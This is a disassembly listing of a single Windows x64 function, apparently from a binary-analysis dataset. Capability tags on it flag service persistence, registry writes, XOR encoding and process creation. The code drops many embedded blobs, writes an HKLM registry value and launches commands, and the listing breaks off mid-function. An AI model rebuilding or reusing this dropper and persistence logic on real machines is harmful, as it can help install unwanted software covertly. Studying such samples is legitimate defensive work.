Function at 0x1800045d0
Capabilities:
Create process on windows
Encode data using xor
Generate random numbers using a mersenne twister
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
mov eax, 0x1750
call fcn.180018c70
sub rsp, rax
movaps xmmword [rsp + 0x1740], xmm6
mov rax, qword [0x184bb00c0]
xor rax, rsp
mov qword [rsp + 0x1730], rax
xor ebx, ebx
cmp edx, 1
jne 0x180006441
lea rcx, [rsp + 0x148]
call fcn.180007390
nop
lea rax, [0x18005b6c8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xe8], rax
movups xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsp + 0x68], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xe0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xe8], rax
movaps xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1a8]
call fcn.18000ccc0
nop
lea rax, [0x18005b6f0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0x12
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x100]
call fcn.18000ccc0
nop
lea rax, [0x18005b718]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0x1a
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x168]
call fcn.18000ccc0
nop
lea rax, [0x18005b750]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0xc
lea rax, [rsp + 0x168]
cmp qword [rsp + 0x180], 7
cmova rax, qword [rsp + 0x168]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x188]
call fcn.18000ccc0
nop
lea rdx, [rsp + 0x188]
cmp qword [rsp + 0x1a0], 7
cmova rdx, qword [rsp + 0x188]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x198]
lea rcx, [rsp + 0x60]
call fcn.18000b920
nop
lea rcx, [rsp + 0x60]
call fcn.180004490
movzx esi, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180004942
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000493d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006475
call fcn.180018160
test sil, sil
je 0x180004b4f
call fcn.180006af0
nop
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 7
jbe 0x180004999
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000647b
call fcn.180018160
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], 7
mov word [rsp + 0x188], bx
mov rdx, qword [rsp + 0x180]
cmp rdx, 7
jbe 0x1800049fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800049f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006481
call fcn.180018160
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], bx
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180004a61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004a5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006487
call fcn.180018160
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 7
jbe 0x180004ac5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ac0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000648d
call fcn.180018160
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], 7
mov word [rsp + 0x1a8], bx
mov rdx, qword [rsp + 0x160]
cmp rdx, 7
jbe 0x180004b29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006493
call fcn.180018160
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x160], 7
mov word [rsp + 0x148], bx
mov eax, 1
jmp 0x180006446
jmp 0x180004b5d
lea rcx, [rsp + 0x1a8]
call fcn.180006eb0
lea rcx, [rsp + 0x100]
call fcn.180006eb0
call fcn.18001746c
mov dword [rsp + 0x1724], 0xffffffff
mov dword [rsp + 0x3a4], eax
mov edx, 1
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3a4], eax
inc rdx
cmp rdx, 0x270
jb 0x180004ba0
mov dword [rsp + 0x3a0], 0x270
lea rcx, [rsp + 0x3a0]
call fcn.18000e630
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d7f
ja 0x180004c0d
nop word [rax + rax]
lea rcx, [rsp + 0x3a0]
call fcn.18000e630
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d80
jb 0x180004bf0
shr rax, 0x20
add eax, 0x800186a0
btc eax, 0x1f
lea rcx, [0x18005bd38]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], 3
mov dword [rsp + 0x58], eax
movabs rax, 0x1000000000000000
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe0], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0xe8], rax
movaps xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xe0], xmm0
movaps xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm1
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x128]
call fcn.18000ccc0
nop
lea rax, [0x18005b770]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 6
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1e8]
call fcn.18000ccc0
nop
lea rax, [0x18005b780]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 5
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
lea rax, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 7
cmova rax, qword [rsp + 0x1e8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0xb0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1c8]
call fcn.18000ccc0
nop
lea rax, [0x18005b790]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x208]
call fcn.18000ccc0
nop
lea rax, [0x18005b7b8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xe
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x308]
call fcn.18000ccc0
nop
lea rax, [0x18005b7d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xc
mov qword [rsp + 0x60], rbx
lea rcx, [rsp + 0x100]
call fcn.180008830
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
lea r9, [rsp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.18000e540
nop
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2e8]
call fcn.18000ccc0
nop
lea rax, [0x18005b7f8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x16
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2c8]
call fcn.18000ccc0
nop
lea rax, [0x18005b828]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x11
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2a8]
call fcn.18000ccc0
nop
lea rax, [0x18005b850]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x10
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x288]
call fcn.18000ccc0
nop
lea rax, [0x18005b878]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xc
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x268]
call fcn.18000ccc0
nop
lea rax, [0x18005b898]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x248]
call fcn.18000ccc0
nop
lea rax, [0x18005b8c0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x16
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x228]
call fcn.18000ccc0
nop
mov dword [rsp + 0x120], ebx
mov qword [rsp + 0xe0], rbx
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [0x18005bad0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1800054b9
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x18005bb40]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rdx, [rsp + 0x168]
cmp qword [rsp + 0x180], 7
cmova rdx, qword [rsp + 0x168]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x178]
lea rcx, [rsp + 0x60]
call fcn.18000b920
nop
lea rcx, [rsp + 0x60]
call fcn.180004490
movzx r14d, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180005548
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005543
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006499
call fcn.180018160
test r14b, r14b
jne 0x18000557e
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x90]
call fcn.18000b290
nop
lea rcx, [rsp + 0x90]
call fcn.180004590
nop
lea rcx, [rsp + 0x90]
call fcn.180003cb0
mov r8d, 0x190
lea rdx, [0x184ba5c20]
lea rcx, [rsp + 0x188]
call fcn.180006c50
lea rax, [0x18005b8f0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xa
lea rax, [rsp + 0x1a8]
cmp qword [rsp + 0x1c0], 7
cmova rax, qword [rsp + 0x1a8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ccc0
nop
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [rsp + 0xa0]
movups xmmword [rsp + 0xf0], xmm1
movdqa xmm6, xmmword [0x184ba8b80]
movdqu xmmword [rsp + 0xa0], xmm6
mov word [rsp + 0x90], bx
lea rcx, [rsp + 0xe0]
call fcn.180004490
movzx r14d, al
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x1800056d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800056ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000649f
call fcn.180018160
movdqu xmmword [rsp + 0xf0], xmm6
mov word [rsp + 0xe0], bx
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x18000572c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005727
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064a5
call fcn.180018160
test r14b, r14b
je 0x18000579f
lea rax, [0x18005b908]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 0x1a
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.18000b420
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180003c70
nop
lea rcx, [rsp + 0x90]
call fcn.180004590
nop
lea rcx, [rsp + 0x90]
call fcn.180003cb0
nop
lea rcx, [rsp + 0x60]
call fcn.180003cb0
nop
jmp 0x1800057bf
mov r8d, 0x89000
lea rdx, [0x1810e0ae0]
lea rcx, [rsp + 0x308]
call fcn.180006c50
mov r8d, 0x16200
lea rdx, [0x184b3fc20]
lea rcx, [rsp + 0x2e8]
call fcn.180006c50
mov r8d, 0x477c00
lea rdx, [0x180ad1ae0]
lea rcx, [rsp + 0x2c8]
call fcn.180006c50
mov r8d, 0x1c3ee9
lea rdx, [0x18005c280]
lea rcx, [rsp + 0x2a8]
call fcn.180006c50
mov r8d, 0x74279
lea rdx, [0x180a5d860]
lea rcx, [rsp + 0x288]
call fcn.180006c50
mov r8d, 0x4fe00
lea rdx, [0x184b55e20]
lea rcx, [rsp + 0x268]
call fcn.180006c50
mov r8d, 0xc7c00
lea rdx, [0x184bb0d00]
lea rcx, [rsp + 0x248]
call fcn.180006c50
mov r8d, 0xce00
lea rdx, [0x18121aee0]
lea rcx, [rsp + 0x228]
call fcn.180006c50
mov r8d, 0xb1400
lea rdx, [0x181169ae0]
lea rcx, [rsp + 0x208]
call fcn.180006c50
mov r8d, 0x197400
lea rdx, [0x180f496e0]
lea rcx, [rsp + 0x1c8]
call fcn.180006c50
lea rcx, [rsp + 0x128]
call fcn.180006530
lea rax, [0x18005b940]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x4c
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ccc0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005a1b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064ab
call fcn.180018160
lea rax, [0x18005b9e0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x66
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x1c8]
cmp qword [rsp + 0x1e0], 7
cmova rax, qword [rsp + 0x1c8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ccc0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005b66
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005b61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064b1
call fcn.180018160
lea rax, [0x18005bab0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xb
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000ccc0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005c6a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005c65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064b7
call fcn.180018160
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x334], xmm0
movups xmmword [rsp + 0x344], xmm0
movups xmmword [rsp + 0x354], xmm0
movups xmmword [rsp + 0x364], xmm0
movups xmmword [rsp + 0x374], xmm0
movups xmmword [rsp + 0x384], xmm0
mov dword [rsp + 0x394], eax
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x330], 0x68
lea rcx, [rsp + 0x208]
cmp qword [rsp + 0x220], 7
cmova rcx, qword [rsp + 0x208]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x330]
